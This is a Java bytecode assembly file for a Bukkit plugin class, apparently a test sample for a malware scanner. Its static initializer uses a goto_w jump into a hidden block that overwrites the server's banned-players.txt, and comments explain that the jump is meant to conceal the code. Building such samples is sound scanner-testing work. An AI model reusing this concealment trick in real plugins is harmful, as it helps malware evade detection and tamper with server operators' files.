.version 49 0
.source MalwarePlugin.java
.class super public Issue216GotoWVulnerability
.super org/bukkit/plugin/java/JavaPlugin


.method static <clinit> : ()V
	; method code size: 28 bytes
	.limit stack 3
	.limit locals 1

	;; Go past the malicious code
	goto narnia
	;; Line label for cave entrance
	cave:
	.catch java/lang/Exception from L0 to L23 using L26
L0:
	new java/io/FileOutputStream
	dup
	ldc 'banned-players.txt'
	invokespecial java/io/FileOutputStream <init> (Ljava/lang/String;)V
	astore_0
	aload_0
	ldc [_16]
	invokevirtual java/lang/String getBytes ()[B
	invokevirtual java/io/FileOutputStream write ([B)V
	aload_0
	invokevirtual java/io/FileOutputStream close ()V
L23:
	goto L27
L26:
.stack same_locals_1_stack_item
	stack Object java/lang/Exception
.end stack
	astore_0
L27:
.stack same
	
	;; This is where we'll end up after executing the malicious code. We don't want to go back to the cave, so we're going to jump
	;; to the end.. 'hell'.
	goto hell
	;; Malicious code? What malicious code? I didn't see anything, officer.
	narnia:
	;; Jump into the cave. This is the instruction the whole thing hinges on.
	goto_w cave
	;;End line label
	hell:
	return
.end method

.method public <init> : ()V
	; method code size: 5 bytes
	.limit stack 1
	.limit locals 1
	aload_0
	invokespecial org/bukkit/plugin/java/JavaPlugin <init> ()V
	return
.end method

.const [_16] = String [_17]
.const [_17] = Utf8 'notch|2014-10-27 13:04:54 +0000|CONSOLE|Forever|hi\n'
